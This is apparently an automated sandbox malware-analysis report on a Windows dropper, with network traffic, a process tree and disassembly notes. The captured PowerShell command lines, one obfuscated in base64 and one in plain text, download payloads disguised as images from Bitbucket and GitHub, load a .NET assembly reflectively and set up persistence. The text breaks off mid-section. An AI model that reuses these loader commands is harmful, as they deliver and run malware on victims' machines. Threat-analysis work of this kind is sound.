01 a0 00 01 91 18 00 00 00 00 0d 0d 0c 43 04 c0 00 13 00 19 60 86 21 Data Ascii: IRJ@rj`&Tg&&``4@0LMh@ 00`D&h`,CF&&h`P`M0C`!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49728	185.166.143.50	443	7548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:36:29 UTC	100	OUT	GET /eqweqwt/wqeqwfs/downloads/agchIkI.txt HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-12-16 14:36:30 UTC	5941	IN	HTTP/1.1 302 Found Date: Mon, 16 Dec 2024 14:36:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/84b86a50-0f03-4f00-a68a-9b48f6a9ad1a/downloads/0d99d38f-9760-4bfe-b69f-138f0c1650be/agchIkI.txt?response-content-disposition=attachment%3B%20filename%3D%22agchIkI.txt%22&AWSAccessKeyId=ASIA6KOSE3BNGQDBEIEW&Signature=LcmiqQxfJCWsqR7f5%2FBgA%2FmLfew%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEGcaCXVzLWVhc3QtMSJIMEYCIQCkvEaZNiJUzzSwpm6mAojC9AJaLoX0kU%2FJPCVkYw0chQIhAIoEons%2BRUzTqYeijpHGPG88tnHmj5KAOxSTK7%2BPyJj0KqcCCDAQABoMOTg0NTI1MTAxMTQ2Igy7jhdAuU9GksejFp4qhAKh3BYzpW8aypWmyP5uUBqqhpyDnxgY71GJrJTWv9IsNw42rRqC%2BXntF%2FsqDcBXi1AAZfGHedDrd0cTTo0Y267xzy8V9mCp31iPMBDr%2FMq4tto4WLyqglYMhFJuo43Y2IJCaf1ubM1j462lGSOuGBkI%2FCSlgxpFj2ujVf7aLJJSOHhn2Nn%2F1dC%2FdYaMLq6KUpxxtfC24cLCAdjLkqrJN5%2FammuzyXYtSC%2BrIlVCPSj28Krj%2BYfVl103XPiF9br%2Bv9hW6R3El%2FGc9Ss0nw48olzJawrzUs6tWUhxJktgz2%2BHXymxyddxGLgVlzEReUQKkQewD3nBe3cl%2FcGt9JbZnkdk%2FT3FnjC69IC7BjqcAWyv7xb5B4OzYgYtMrKnj%2BRHLyVyFKbWwOZy1hLKKfrqAJc8%2FWcMdTWTyPYIchCHoHcrb3Igc8DTjkE7ELPMqXWcvNdfpqFKHbQ5bq%2FC3cWg4PI86%2BHSCrqH5 [TRUNCATED] Expires: Mon, 16 Dec 2024 14:36:30 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 7591e08f7aac X-Version: 448c766573cd X-Static-Version: 448c766573cd X-Request-Count: 1928 X-Render-Time: 0.0749819278717041 X-B3-Traceid: e87a37688f7b41caafd31e8cd3184821 X-B3-Spanid: bd907e08c77b91e7 X-Frame-Options: SAMEORIGIN Content-Security-Policy: base-uri 'self'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-pa [TRUNCATED] X-Usage-Quota-Remaining: 998946.551 X-Usage-Request-Cost: 1074.93 X-Usage-User-Time: 0.013970 X-Usage-System-Time: 0.018278 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: e87a37688f7b41caafd31e8cd3184821 Atl-Request-Id: e87a3768-8f7b-41ca-afd3-1e8cd3184821 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=186,atl-edge-internal;dur=4,atl-edge-upstream;dur=183,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Target ID:	4
Start time:	09:36:08
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\GdGXG0bnxH.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\GdGXG0bnxH.exe"
Imagebase:	0x7ff7e6e80000
File size:	163'840 bytes
MD5 hash:	8970EEF61BA5B0D180B01242796BAD53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:36:08
Start date:	16/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c 675c87f6bfee1.vbs
Imagebase:	0x7ff7d1730000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:36:08
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:36:08
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs"
Imagebase:	0xf40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:36:09
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bi$GE$cwBl$DY$N$BM$GU$bgBn$HQ$a$$g$D0$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$GI$YQBz$GU$Ng$0$EM$bwBt$G0$YQBu$GQ$I$$9$C$$J$Bp$G0$YQBn$GU$V$Bl$Hg$d$$u$FM$dQBi$HM$d$By$Gk$bgBn$Cg$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Cw$I$$k$GI$YQBz$GU$Ng$0$Ew$ZQBu$Gc$d$Bo$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bj$G8$bQBt$GE$bgBk$EI$eQB0$GU$cw$g$D0$I$Bb$FM$eQBz$HQ$ZQBt$C4$QwBv$G4$dgBl$HI$d$Bd$Do$OgBG$HI$bwBt$EI$YQBz$GU$Ng$0$FM$d$By$Gk$bgBn$Cg$J$Bi$GE$cwBl$DY$N$BD$G8$bQBt$GE$bgBk$Ck$Ow$g$C$$I$$k$HQ$ZQB4$HQ$I$$9$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$Ow$g$CQ$b$Bv$GE$Z$Bl$GQ$QQBz$HM$ZQBt$GI$b$B5$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBS$GU$ZgBs$GU$YwB0$Gk$bwBu$C4$QQBz$HM$ZQBt$GI$b$B5$F0$Og$6$Ew$bwBh$GQ$K$$k$GM$bwBt$G0$YQBu$GQ$QgB5$HQ$ZQBz$Ck$Ow$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YwBv$G0$c$By$GU$cwBz$GU$Z$BC$Hk$d$Bl$EE$cgBy$GE$eQ$g$D0$I$BH$GU$d$$t$EM$bwBt$H$$cgBl$HM$cwBl$GQ$QgB5$HQ$ZQBB$HI$cgBh$Hk$I$$t$GI$eQB0$GU$QQBy$HI$YQB5$C$$J$Bl$G4$YwBU$GU$e$B0$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$HQ$eQBw$GU$I$$9$C$$J$Bs$G8$YQBk$GU$Z$BB$HM$cwBl$G0$YgBs$Hk$LgBH$GU$d$BU$Hk$c$Bl$Cg$JwB0$GU$cwB0$H$$bwB3$GU$cgBz$Gg$ZQBs$Gw$LgBI$G8$YQBh$GE$YQBh$GE$cwBk$G0$ZQ$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$EU$bgBj$G8$Z$Bl$GQ$V$Bl$Hg$d$$g$D0$WwBD$G8$bgB2$GU$cgB0$F0$Og$6$FQ$bwBC$GE$cwBl$DY$N$BT$HQ$cgBp$G4$Zw$o$CQ$QgB5$HQ$ZQBz$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$G0$ZQB0$Gg$bwBk$C$$PQ$g$CQ$d$B5$H$$ZQ$u$Ec$ZQB0$E0$ZQB0$Gg$bwBk$Cg$JwBs$GY$cwBn$GU$Z$Bk$GQ$Z$Bk$GQ$Z$Bh$Cc$KQ$u$Ek$bgB2$G8$awBl$Cg$J$Bu$HU$b$Bs$Cw$I$Bb$G8$YgBq$GU$YwB0$Fs$XQBd$C$$K$$n$C$$d$B4$HQ$LgBJ$Gs$SQBo$GM$ZwBh$C8$cwBk$GE$bwBs$G4$dwBv$GQ$LwBz$GY$dwBx$GU$cQB3$C8$d$B3$HE$ZQB3$HE$ZQ$v$Gc$cgBv$C4$d$Bl$Gs$YwB1$GI$d$Bp$GI$Jw$s$C$$Jw$w$Cc$L$$g$Cc$UwB0$GE$cgB0$HU$c$BO$GE$bQBl$Cc$L$$g$Cc$TQBz$GI$dQBp$Gw$Z$$n$Cw$I$$n$D$$Jw$p$Ck$fQB9$$==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $sodigo.replace('$','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:36:09
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:36:10
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	31.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	42.3%
Total number of Nodes:	928
Total number of Limit Nodes:	45

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF7E6E840C4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 371
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7E6E84154
CompareStringA.KERNEL32 ref: 00007FF7E6E8421B

Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85078
Part of subcall function 00007FF7E6E85050: SizeofResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85089
Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850AF
Part of subcall function 00007FF7E6E85050: LoadResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850C0
Part of subcall function 00007FF7E6E85050: LockResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850CF
Part of subcall function 00007FF7E6E85050: memcpy_s.MSVCRT ref: 00007FF7E6E850EE
Part of subcall function 00007FF7E6E85050: FreeResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850FD

CompareStringA.KERNEL32 ref: 00007FF7E6E84313
GetProcAddress.KERNEL32 ref: 00007FF7E6E843AF
FreeLibrary.KERNEL32 ref: 00007FF7E6E84480
LocalFree.KERNEL32 ref: 00007FF7E6E844B0
FreeLibrary.KERNEL32 ref: 00007FF7E6E844D3
LocalFree.KERNEL32 ref: 00007FF7E6E844E2

Strings

POSTRUNPROGRAM, xrefs: 00007FF7E6E842D4
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E843E6, 00007FF7E6E846B3
RUNPROGRAM, xrefs: 00007FF7E6E84244
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF7E6E84605
<None>, xrefs: 00007FF7E6E841FD, 00007FF7E6E842F5
USRQCMD, xrefs: 00007FF7E6E841E3
DoInfInstall, xrefs: 00007FF7E6E843A5, 00007FF7E6E84526
ADMQCMD, xrefs: 00007FF7E6E841D2
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF7E6E846C9
wextract_cleanup0, xrefs: 00007FF7E6E84636, 00007FF7E6E846F9
SHOWWINDOW, xrefs: 00007FF7E6E84178
advpack.dll, xrefs: 00007FF7E6E84579
Adv, xrefs: 00007FF7E6E843CE
REBOOT, xrefs: 00007FF7E6E84123

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$Free$CompareFindLibraryLocalString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$Adv$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 2679723528-151385680
Opcode ID: 47eb29a787de270268fb154fbc2d409703058abd89df6d54f7005b929927f1b1
Instruction ID: 96d120f3e714eb5deb84fe091a524bf5a5a7bcfad9180fc3b0746b83a77b642a
Opcode Fuzzy Hash: 47eb29a787de270268fb154fbc2d409703058abd89df6d54f7005b929927f1b1
Instruction Fuzzy Hash: A7024D71A287C286E760AB14AC407BBB7A0FB85B44F980137DA8E4B6D4DF3CD545C722

Function 00007FF7E6E81D28 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 183
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7E6E81D6A
memset.MSVCRT ref: 00007FF7E6E81D78
RegCreateKeyExA.KERNELBASE ref: 00007FF7E6E81DBA

Part of subcall function 00007FF7E6E8114C: _vsnprintf.MSVCRT ref: 00007FF7E6E81189

RegQueryValueExA.KERNELBASE ref: 00007FF7E6E81E0F
RegCloseKey.ADVAPI32 ref: 00007FF7E6E81E2E
GetSystemDirectoryA.KERNEL32 ref: 00007FF7E6E81E4C
LoadLibraryA.KERNELBASE ref: 00007FF7E6E81E6E
GetProcAddress.KERNEL32 ref: 00007FF7E6E81E90
FreeLibrary.KERNELBASE ref: 00007FF7E6E81EA9
GetSystemDirectoryA.KERNEL32 ref: 00007FF7E6E81EC5
LocalAlloc.KERNEL32 ref: 00007FF7E6E81F21
GetModuleFileNameA.KERNEL32 ref: 00007FF7E6E81F64
RegCloseKey.ADVAPI32 ref: 00007FF7E6E81F7D
RegSetValueExA.KERNELBASE ref: 00007FF7E6E81FED
RegCloseKey.KERNELBASE ref: 00007FF7E6E81FFE
LocalFree.KERNEL32 ref: 00007FF7E6E8200D

Strings

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF7E6E81FAE
wextract_cleanup0, xrefs: 00007FF7E6E81DE2, 00007FF7E6E81DFD, 00007FF7E6E81FD2
DelNodeRunDLL32, xrefs: 00007FF7E6E81E86
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E81EEC
%s /D:%s, xrefs: 00007FF7E6E81F99
advpack.dll, xrefs: 00007FF7E6E81E58
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF7E6E81D8A
wextract_cleanup%d, xrefs: 00007FF7E6E81DD6

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-2414900631
Opcode ID: 276e9805d9b7e1d57039d94b06db834f3dbf8df68e4bbb97ed4dd8757e439085
Instruction ID: 98f9c922f839c46493925be2bdf45b9b7ccce9e455f87b8d3c9ac0e3af25e634
Opcode Fuzzy Hash: 276e9805d9b7e1d57039d94b06db834f3dbf8df68e4bbb97ed4dd8757e439085
Instruction Fuzzy Hash: 1B813C32A28AC686E710AB55E8443BAB7A1FB89F54F885132DA8E0B7D4DF3CD505C711

Function 00007FF7E6E81684 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 350
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32 ref: 00007FF7E6E81838
GetFileAttributesA.KERNEL32 ref: 00007FF7E6E81852
LocalAlloc.KERNEL32 ref: 00007FF7E6E818BF
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E6E818FC
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E6E8193F
GetShortPathNameA.KERNEL32 ref: 00007FF7E6E819AC

Part of subcall function 00007FF7E6E84DCC: LoadStringA.USER32 ref: 00007FF7E6E84E60
Part of subcall function 00007FF7E6E84DCC: MessageBoxA.USER32 ref: 00007FF7E6E84EA0

Strings

